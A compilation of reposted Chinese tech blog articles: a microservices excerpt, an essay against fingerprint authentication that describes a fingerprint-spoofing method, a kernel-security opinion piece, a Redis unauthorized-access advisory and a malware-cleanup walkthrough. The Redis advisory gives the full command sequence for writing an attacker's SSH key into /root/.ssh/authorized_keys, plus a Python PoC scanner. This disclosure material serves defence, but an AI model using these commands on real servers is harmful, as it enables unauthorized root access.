微服务架构还有很多其他的好处:例如我们可以为不同的服务使用异构的技术架构,用最适合的技术解决最适合的业务问题(例如在某些服务中使用关系型数据库,而在某些服务中使用NoSQL数据库);相对于单体应用因为每个服务都更小更简单,所以维护难度和成本也会比传统的大的单体应用要低得多;还有根据康威定律,这种新的服务架构甚至会改变我们软件开发的组织方式向小而精的多功能自组织团队和全栈式演进,前段、后端、运维、DBA这种角色划分方式也许也会因此而成为历史。

微服务架构之所以经常会和容器技术一起被提及,是因为容器技术为微服务架构提供了一个非常匹配的基础设施,从而可以将这种架构的威力最大化的激发出来。设想一下,假如我们有一个产品采用微服务架构,并将每类服务及其运行环境打包为容器,部署于像AWS ECS这类弹性容器服务里。就可以实现通过实时监控每类服务的负载情况,通过自动化的方式快速按需对每类服务基于容器技术进行快速高效的水平扩展或是撤销,这样我们的架构就是一个高度自动化、高弹性、高资源利用率的应用架构,相比于传统的单体应用也将具备很大的竞争优势。

有得必有失,微服务架构有着这么多的好处,但同样也会引入一些新问题,最直接的就是分布式本身所引入的复杂性。例如如何保证服务间的契约,如何快速开发服务,如何保证轻量级通讯协议的可靠性等等。对于这些问题也有着相对应的解决方案,本期雷达就推荐了很多的工具和技术来辅助进行微服务架构下的软件开发。

雷达 : 关于技术趋势的分析报告,首发于博客 – 伯乐在线

别拿指纹当密码,没用!看完你就明白了

密码就是一坨翔。没有人会挑选一个好的密码,就算他们好不容易选了一个不错的,也会在所有的网站上都使用这个密码;就算你用了一个可以信赖的密码管理软件,它也会被人破解。不过你知道比密码更烂的是什么吗?那就是指纹。指纹的问题多如牛毛,你在任何时候都不应该用它来取代密码。

密码应该是保密的,就像你小时候养的宠物的名字。相比之下,你带着手指头到处晃悠,它们几乎在任何时候都是暴露在外的。当你的密码被泄露了,一般很容易就换个新密码。可你不想换个手指头吧?最后,也是最为重要的,你希望密码是经过哈希处理的,这样就算密码数据库被盗,不法之徒也无法获取你的密码。

在本文剩下的篇幅中,我会分别介绍以上三个方面的内容,希望能说服你相信,从根本上说用指纹比用密码要糟糕得多。(你听信苹果谷歌的忽悠?不,我想你不会的。)

指纹并不保密

首先,使用指纹取代密码最明显的问题,就是指纹压根就不是保密的。想想你在影视剧里面看到的:警察在向坏蛋问话的时候,递给了他一杯咖啡,然后把这个杯子送到法医实验室,就搞到了他的指纹。案件侦破!

但实际情况会更糟。你的指纹到处都是。可以从纸张、键盘和桌子表面上提取到指纹。你不会把你的密码写在便签纸上,然后贴到工位的显示器上,对吧?可如果你的工作需要使用指纹来进行身份认证,那这个密码可能已经留在你的显示器上了。

德国黑客 Jan Krissler(网名 starbug),只要一有机会就会向别人灌输这个概念。 iPhone 5 touchID 系统刚发布的时候,starbug 就开始垂涎三尺了。他立刻买了一台,鼓捣了两天后,他证明自己能在苹果店门口排队的人群散去之前,就能骗过指纹读取器。starbug 在接受 Ars Technica 采访的时候, 抱怨说这也太容易了。来自苹果的匿名人士表示,他们原本预期这个过程会花上两个月,而不是两天。

如何仿造指纹

他用来仿造指纹的技术超级简单。他复制了一个指纹,然后把它蚀刻在铜片上(和制作印刷电路板一样),在蚀刻上喷一层石墨,最后在上面盖上一层木胶或者乳胶。在铜片被蚀刻掉的地方,胶水加石墨的指模会更深,这用来模拟你手指上纹路。石墨涂层和手指一样拥有电容的特性。如果再用上和皮肤颜色相同的乳胶,你就做出了一个像碟中谍电影里一样的东西,成本只有 5 美元加上一个下午的时间。而你需要的只是从杯子或者书本上提取一张质量好点的指纹图片。

从照片中提取指纹

别在你的照片中露出指纹。从一张记者招待会的照片中,starbug 复制出了 Ursula von der Leyen(德国国防部长)的指纹。不管这个指纹是不是真的能控制整个德国的军队,反正你明白这个意思了;希望他们真的别用指纹来当密码。

在德国的黑客交流大会上,starbug 做了一个很棒的演讲,他讨论了这项技术所需要的照片分辨率,以及很多其他和生物特征辨识相关的黑客技术。不过重点在于,只要有足够的分辨率、或者是一个足够好的镜头,就可以从一个很舒服的距离拍摄到指纹的照片。其中主要的限制是焦距带来的浅景深以及光照情况,这对于那些在照明充足的台上、面对一大堆相机的政客们来说可不是个好消息。不管你是不是政客,除非你一直戴着手套,否则你的指纹就不会得到很好的保护。

指纹是不可改变的

好吧,假设说你的普通密码不管因为什么原因泄露了,会有多糟?在理想世界中,被攻破的网站会通知你并提醒你更换密码。你可以把宠物狗的名字换成宠物猫的名字,或者你出生的年份和你妹妹的出生年份。搞定!

不过如果你用指纹当密码,然后不慎泄露的话,却不可能去改变它。实际上,在传统使用指纹的场景中,正是利用了它的唯一性和不可变性——比如在犯罪现场中用来甄别罪犯。要是能在犯罪之后改变指纹的话,你就不用戴那些碍事的手套了。

指纹会伴随你一生。如果我盗取了你的指纹,我就可以解锁你现有的指纹加密的设备,和你以后购买的所有指纹加密的设备。指纹只是半安全的,它不可修改,这让它成了相当糟糕的密码。这一点不用再多说了,反正肯定就是这么回事儿了,不过还是得强调一下,因为世上还是有很多坏警察的(译注:会盗用你的指纹)。

举个例子,敏感的政府机构会使用个人身份认证(PIV)卡,上面包括了雇员的指纹。除了需要输入正确的密码之外,使用 PIV 卡的联邦雇员还必须扫描指纹,并和保存在卡内的指纹进行对比。这种使用密码和指纹匹配的方式构成了双重认证系统。

而在这之后,美国国家人事局(OPM)被黑了,560 万(!)枚政府雇员的指纹被窃取,很可能是外国间谍机构干的。于是现在国土安全局可能不得不改为使用“三重认证”,因为其中的一个认证方式已经彻底完蛋了。如果当初政府在 PIV 卡中使用了一种可替换的方式,至少这次泄露弥补起来会容易得多。

密码需要定期更换来确保其保密性和安全性。指纹是不可更换的。

指纹是不能被哈希处理的

指纹的问题在于判定的时候只要近似就够了,而且应该也是这样。如果我在指纹识别器上按手指的时候稍微大了点劲儿,或者稍微错位了一点,又或者手指被划伤了,我依然希望这个识别器能接受我的指纹。训练有素的 FBI 探员在对比指纹时,通常都使用“部分”匹配的方式,只要有合理的精确度就够了。对于血肉之躯的人类和现实世界中的指纹扫描仪来说,近似匹配是合情合理的。不过只要指纹有细微的瑕疵,经过哈希处理后就会和参照版本完全不同。这也就意味着指纹是不可哈希的。哈希算法让密码更加健壮,一旦缺少了哈希算法的保护,指纹就变得脆弱得多。

现在假设一个靠谱点的网站被黑了,就算黑客窃取了网站的密码数据库,他们也不会因此拥有这些密码的列表。他们只能得到用户名以及被单向哈希之后的密码。

当你输入密码的时候,网站会对结果进行哈希运算。如果你输入的哈希值和网站保存的哈希值相同,就能确认这个密码是正确的。因为哈希算法是完全单向的,所以对任何人来说,从哈希结果反推出你实际的密码几乎都是不可能的。实际上,反推哈希密码最简单的方式,就是尝试每个可能的密码,计算哈希值,然后进行比较。

相比之下,一个简单初级的实现,就是网站直接保存了每个用户的密码,但是用一个主密码对它们进行加密。如果黑客能够搞定这个主密码,他们就能破解整个数据库中的所有密码。这个主密码在每次密码校验过程中都会用到,这使得它拥有巨大的价值,同时却也非常脆弱。如果使用不同的主密码分别加密每个用户的数据的话,就意味着他们还得维护一个巨大的主密码数据库,这其实毛用都没有。这就是为什么每个靠谱的网站都只会保存用户密码的哈希结果。

不过哈希算法仍然可以比加密做得更好。如果网站的开发者拥有足够的安全意识,就会在进行哈希计算之前进行加盐:在密码中附加上其他的一些东西(这个东西不必是保密的);这会让暴力破解的过程变得更加缓慢,因为这相当于每个人的密码都是以不同的形式进行哈希的。

如果咱俩都使用了“!password123”作为密码,不过我的密码之前加了“elliot”,而你的密码之前加了“joe_user”,我们的密码经过哈希处理之后就会变得完全不同。就算黑客最终猜到了你的密码,因为这个“盐值”的存在,他们也无法立刻得知我的密码。

如果网站安全做得特别好的话,这个哈希过程会使用一个耗时的算法重复进行上千次,从而进一步减缓了暴力破解的速度。在你登录网站的时候如果花上个半秒一秒,对你来说可能不是什么事儿,不过对于那些依赖于每秒进行数百万次尝试的暴力破解者来说,这可就是大麻烦了。密码管理软件 LastPass 被破解译注:如果你的浏览器默认是中文语言,这个链接会跳到他自己的中文版页面上,这个中文版页面……有点逗比),这件事是个很好的例证。他们被破解了这事儿本身确实挺糟的,你还是得换掉你的主密码,不过如果做得够好的话,任何人还是无法在短时间内暴力破解你的密码。

指纹和雪崩效应

刚才这些东西和指纹到底有啥关系?指纹本身不能经过哈希处理,所以上面那些做法(在数据中只保存加盐密码的哈希值)在安全性上面所带来的优势,对指纹来说毛用没有。这是因为除了单向之外,一个好的哈希算法展现了所谓的雪崩效应:密码中一个轻微的改变会导致哈希结果极大的区别。

字符串“!password123”在使用 MD5 哈希处理之后,得到的值是 b3a2efccbe10c39f2119979a6f9a3ab2,而“!Password123”对应的值是 d2583f9c75fbc22890d39e7241927511。这两个字符串只有一个字母不同,那个大写的“P”,但是两个哈希结果的差异却相当巨大。这防止了那些暴力破解者去判断他们尝试的密码和实际密码之间的近似程度。如果密码中每出现一个正确字母就和目标哈希值接近一分的话,他们毫不费力地就能猜到你的密码了。雪崩效应意味着猜到“相似”的密码是毫无意义的。

正如我之前提到的,指纹技术需要能判断出“足够相似”。如果把它进行哈希处理的话,就会差之毫厘、谬以千里。这也就是说,指纹只能被明文存储,或者加密存储,但是哈希算法一点用也没有,因为一个好的哈希算法会导致雪崩效应。指纹数据库不可避免地会成为薄弱环节,只要你的指纹被保存下来,不管是在你的 iPhone 上、在 IPV 卡上还是在电子护照上,只要知道了主密码,这里面存储的指纹都可以被破解。

电子护照

哈希方法对比加密方法的一个很好的例子,就是电子护照。其中加密保存了你的指纹和虹膜照片的数据,因为这些都是敏感信息。不过这些数据也只能加密(而不能哈希处理),因为护照读取器需要能够解密这些信息,才能和你的手指和眼睛进行比对。(译注:中国的电子护照在芯片内也包含指纹和照片,也是加密保存的

在这上面,所有你的非敏感信息和加密之后的数据包会一起进行哈希计算,这个哈希值会使得篡改其中任何信息都变得很困难。你可能想在这些数据里面改变一个比特,然后在别的地方改变另一个比特“找补”回来,然而雪崩效应让这一切成为不可能。

即使这样,到目前为止,这也仅仅意味着你的指纹只能通过加密的方式进行保护,而不是哈希处理的方式。这对于海关来说无所谓,因为他们只关心你的指纹是不是被篡改过了。对他们来说,你的指纹只是用来证明你就是你;以及通过跟在你的信息后面的一个哈希值,来确保你的数据不会被篡改。

而另一方面,对于考虑到隐私问题的个人而言,只是把你的指纹进行加密不免让人有些担忧。一个拥有你的护照和正确密码的坏蛋,可以把数据进行解密从而获得你的指纹。虽然从护照封皮上提取你的指纹可能要容易得多,因为指纹不是保密的,还记得吧?

结论

别把你的指纹当密码用。指纹是永久不变的、容易校验的并可以轻松获取的,这对于犯罪调查和确认你的身份来说非常有帮助。不过它们并不是密码,因为它们不是保密的、是无法改变的、而且也很难安全地保存。

别拿指纹当密码,没用!看完你就明白了,首发于博客 – 伯乐在线

为什么提升内核的安全性很重要

最近《华盛顿邮报》刊文称,安全社区与 Linux 内核开发者之间的关系正处于紧张阶段。这种遭强烈的行为被称为 FUD(恐惧、疑惑、怀疑,即心理恐怖战术), Rob Graham 宣称目前无人攻击系统内核。

不幸的是,事实证明他的言论是完全错误的,这并不是 FUD 行为,目前Linux内核的安全状况还远远没有达到它应该达到的状态。

举个例子,最新版本的Android系统使用SELinux来限制应用程序的运行。这令你即使拥有一个在Android上可被完全控制的应用程序,SELinux规则也能使你很难做成任何事,尤其是用户控制。有家违反 GPL 协议的意大利公司 Hacking Team ,在销售一款可以侵犯用户隐私的监控软件,但他们发现这种内核阻碍了他们将间谍软件传输到目标设备。所以他们利用许多 Android 设备内核的 copy-from-user() 缺陷,从而实现允许他们复制任意一个用户空间的数据及其内核代码的行为,因此他们也能做到禁用SELinux。

如果我们可以信任用户空间的应用程序,我们是不需要SELinux的。但我们假定用户空间的代码是不成熟的,配置是错误的或者是完全怀有敌意的,我们就要使用例如SELinux或AppArmor等技术来限制其行为。只是有很多用户空间的代码对我们都保证是无害的,我们尽力阻止的只是它可能出现的对我们造成侵害的部分。

这在内核中显然是不正确的。这种模型目前为止在很大程度上已经是“当我们找到他们时方能修复安全漏洞”,这种方法的失败体现在两个层面上:

(1)当我们找到并修复它们,但在被修复版本可以使用,到它真正被部署,这中间是有一个空窗期的。

(2)尽管动用了尖端的力量,也可能无法在第一时间发现它们。

这种反应方式是针对某个世界,一个无需先进行公测就可以进行软件更新的世界,那个世界中有以寻找内核漏洞为乐趣的好人。然而,我们并不生活在那个世界,这种方法也并不可行。

正如SELinux等功能可以使我们减少可能遭受的侵害一样,如果一个新的用户空间安全隐患被发现,攻击者将内核错误变成一个可利用的漏洞,我们可以将修复功能添加至内核,使攻击变得困难(或不可能)。如今使用Linux系统的人数越来越多,许多用户依赖这些系统在各个关键方面的安全性能,那么尽我们所能不辜负他们的信任是至关重要的。

许多有用的缓解功能已经存在于Grsecurity patchset中,但技术分歧出现在某些特性的结合,而个性冲突和明显缺乏热情的上游内核开发人员导致它几乎没有被应用于大多数人所使用的内核中。Kees Cook提出了一个新的想法,开始更加齐心协力的将Grsecurity组件迁移到上游。如果你依赖于内核安全组件,因基于它而运行程序或者说因为你自己本身就使用它,那你应尽你所能去支持这一想法。

因为安全平台的漏洞,微软受到了无可非议的批评。他们回应称,已经跨操作系统引入了先进的安全功能,包括内核部分。任何一个指责说我们需要做同样的 FUD 传播的人,他们都要冒着自由软件被边缘化为专有软件的风险,来提供更多实际性的安全功能。那并不是个好结果。

为什么提升内核的安全性很重要,首发于博客 – 伯乐在线

Redis 未授权访问缺陷可轻易导致系统被黑

Sebug 公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK
$ 192.168.1.11:6379> saveOK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

全球无验证可直接利用 Redis TOP 10 国家与地区

漏洞 PoC

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
    '''
    samples = ['']
    def _verify(self):
        result = {}
        payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)
    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register(TestPOC)

解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

Redis 未授权访问缺陷可轻易导致系统被黑,首发于博客 – 伯乐在线

恶意代码清除实战

恶意代码清除实战 什么是恶意代码,指令集?是二进制可执行指令?还是脚本语言?字处理宏语言?其他指令集等等……以常见的类型举例,那么如果一台服务器存在恶意代码,windows系列机器的恶意代码一般指的是病毒,蠕虫,木马后门,linux系统机器恶意代码一般就是Rootkit。

那么如何快速判断自己的web服务器是否存在恶意代码,是否由于web端的问题导致的内网渗透,或被植入恶意代码作为跳板机、肉鸡等;如何通过手工或者工具的方式快速清除恶意代码,加固系统加固,预防下一次入侵带来的问题。

绿盟科技博客邀请安全服务团队的安全工程师从一个实战案例入手,来讲解如何手工清除恶意代码。现在已知有一台服务器表现不太正常,需要我们来排查这个服务器存在什么问题。

 

查看系统日志

前提是该服务器的日志策略,审核策略已经开启。

经过查询日志可以发现,攻击者从TerminalService端即远程桌面进行了多次登录尝试,并出现大量相同状态日志,即在进行远程暴力猜测。由于登录失败次数限制,延缓了攻击者猜测出真实口令的时间。

恶意程序如何执行

通过查看系统计划任务可以发现,攻击者使用较为老套的计划任务方式执行木马程序。

查看计划任务属性,便可以发现木马文件的路径。

木马文件和svchost.exe文件名较像,具有一定的迷惑性,属于常规隐藏方式。经过查询可知,svchsot.exe是Troj/GWGhost-O木马相关程序,即该木马的主要组件。

继续追查痕迹

另外,慢慢遵循着入侵者的脚步,可见攻击者动过的手脚不止这一处。

在prefetch文件夹下,prefetch目录下为系统启动的预读取文件,可以看见xiaoma,和抓肉鸡工具,查看创建时间发现早在几天前甚至更早就已经拿下该服务器为肉鸡,只是尚未发现。

另外发现,存在一些.pf文件,显然攻击者希望在系统运行的时候就成为肉鸡,根据系统启动预读取文件.pf的文件名反向搜索,诱敌深入。

可以发现在system目录下,存在.pf文件的链接指向文件,显然也是通过这个方式来开机加载的,使得服务器开机即上线沦为工具,真是放长线钓大鱼啊。

旁敲侧击

查看进程,可以从运行进程上来发现系统内存在的问题;

综上案例,在寻找恶意代码的过程中,根据各种方式查看系统信息是宗旨,根据收集到的信息判断恶意代码的存在位置和触发方式,进而删除恶意代码执行文件,并且侦查恶意代码的附属产品是否有影响系统启动项、系统文件等;将和恶意代码相关的执行文件、服务、链接等一并删除,如果可以的话,最为稳妥的重装操作系统当然是极好的。

对于我们来排查服务器系统存在的问题,我们要从进程、服务、启动项、网络连接、钩子等方面进行检查,并根据安全事件发生的时间节点,在查看系统信息时重点关注该时间节点的前后的日志事件和系统信息变化,如果可以的话可以以时间点为线索进行关联分析,从而摸清楚入侵者的思路和操作步骤。这里也推荐一些常用的小工具,可以帮助我们更好的来获取不同类别的系统信息,从而抓住系统痕迹,找到问题。

痕迹一:进程

推荐小工具:Process explore

查看可疑的进程及其子进程。可以通过观察以下内容:

  • 没有签名验证信息的进程
  • 没有描述信息的进程
  • 进程的属主
  • 进程的路径是否合法
  • CPU或内存资源占用长时间过高的进程

痕迹二:文件

推荐方式:根据日期排序,检查系统敏感目录文件的改动。

痕迹三:启动项

推荐小工具:Autoruns

这个小工具能够查看到系统的启动项,并且能够对大部分启动项做出说明,同时显示调用注册表路径,同时还能对一些常见的木马运行方式,BHO项、计划任务、镜像劫持等作出检查和侦测。一般判断的标准是,是否该项有注释说明,是否是可疑的常见组件,是否不是管理员添加的项等。

痕迹四:综合分析

推荐小工具:Icesword

Icesword功能比较强大,可以对隐藏进程进行检测,并以红色标出,方便我们查找;同时还可以对端口,服务,注册表,文件,线程等进行侦测观察,对没有描述或者奇怪的可疑选项名称进行逐一手工检测。

THE END

进行恶意代码侦查的过程是一个很有趣的过程,逆着入侵者的思路来,就像还原犯罪现场,时光倒流,加上推理和分析,不放过一丝一毫的线索;相信喜欢侦探小说的你,一定会喜欢上恶意代码侦查探索的过程的。

恶意代码清除实战,首发于博客 – 伯乐在线